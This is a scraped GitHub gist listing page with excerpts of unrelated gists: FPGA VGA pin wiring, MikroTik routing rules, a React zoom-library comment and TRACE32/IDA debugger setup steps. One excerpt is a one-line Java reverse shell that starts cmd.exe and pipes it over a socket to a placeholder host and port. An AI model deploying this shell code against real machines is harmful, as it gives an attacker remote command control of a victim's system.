Discover gists
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
user_1 is R, G and B (VGA pins 1, 2 and 3) | |
user_2 is Ground | |
user_3 is HSYNC (VGA pin 13) | |
user_4 is VSYNC (VGA pin 15) | |
$ python workshop_vga.py --board pvt && dfu-util -D build/gateware/top.dfu | |
$ wishbone-tool 0x60003000 150 | |
csr_register,gpu_x0,0x60003000,2,rw | |
csr_register,gpu_x1,0x60003008,2,rw |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
String host="localhost"; | |
int port=8044; | |
String cmd="cmd.exe"; | |
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
18 ;;; 7/0 goes to WAN1 | |
chain=prerouting action=mark-connection new-connection-mark=WAN1_conn passthrough=yes | |
dst-address-type=!local in-interface=LAN1 connection-mark=no-mark | |
per-connection-classifier=both-addresses-and-ports:7/0 | |
19 ;;; 7/1 goes to WAN2 | |
chain=prerouting action=mark-connection new-connection-mark=WAN2_conn passthrough=yes | |
dst-address-type=!local in-interface=LAN1 connection-mark=no-mark | |
per-connection-classifier=both-addresses-and-ports:7/1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
9 ;;; WAN1 address list -> WAN1 | |
chain=prerouting action=mark-routing new-routing-mark=to_WAN1 passthrough=no | |
dst-address=!192.168.0.0/16 dst-address-list=WAN1 | |
10 ;;; WAN2 address list -> WAN2 | |
chain=prerouting action=mark-routing new-routing-mark=to_WAN2 passthrough=no | |
dst-address=!192.168.0.0/16 dst-address-list=WAN2 | |
11 ;;; WAN3 address list -> WAN3 | |
chain=prerouting action=mark-routing new-routing-mark=to_WAN3 passthrough=no |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* After some thoughts on this topic, I've decided to turn this gist along with other features into a library so you can zoom | |
* whatever you want. | |
* | |
* @author Santiago Zapata, Glazzes at Github <3 | |
* @description This gist makes part of an article I'm writing about this topic (in spanish). This solution takes into account | |
* the linear algebra concepts and geometrical interpretation of the transform-origin property specification, this solution | |
* takes heavy inspiration from William's Candillon +3 year old video in this topic, however this solution brings it to the | |
* modern day along with a huge fix that prevents the origin from being displaced by an incorrect offset calculation after | |
* the first zoom interaction. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1. Install TRACE32 for Tricore from https://www.lauterbach.com/frames.html?download_demo.html | |
2. place ida.cmm into the TRACE32 installation folder | |
3. overwrite config.t32 found in the TRACE32 installation folder with the one provided | |
4. change the "SYS" variable of this config.t32 file to point to your TRACE32 install folder | |
5. edit %IDADIR%\cfg\gdb_arch.cfg as described in the provided "gdb_arch.cfg" file | |
6. open the file "demo.elf" from the TRACE32 installation folder with IDA | |
7. In IDA, go to "Debugger -> Select debugger", pick "Remote GDB debugger" | |
8. Go to "Debugger -> Debugger options -> Set specific options", tick the | |
"Run a program..." checkbox, then click "choose a configuration" (which should fill | |
the "command line" edit field) and confirm. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1. Install TRACE32 for V850/RH80 from https://www.lauterbach.com/frames.html?download_demo.html | |
2. copy *.cmm to the TRACE32 installation folder | |
3. overwrite config.t32 found in the TRACE32 installation folder with the one provided, edit "SYS variable | |
4. add the content provided with "gdb_arch.cfg" to the existing %IDADIR%\cfg\gdb_arch.cfg file | |
5. open the file "ghv850.cfe" from the TRACE32 installation folder with IDA | |
6. In IDA, go to "Debugger -> Select debugger", pick "Remote GDB debugger" | |
7. Go to "Debugger -> Debugger options -> Set specific options", tick the | |
"Run a program..." checkbox, then click "choose a configuration", pick the configuration | |
named "TRACE32: Renesas RH850 (ELF)" and confirm. | |
8. Go to "Debugger -> Process options...", fill the hostname (127.0.0.1) and port (30000) |
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
NewerOlder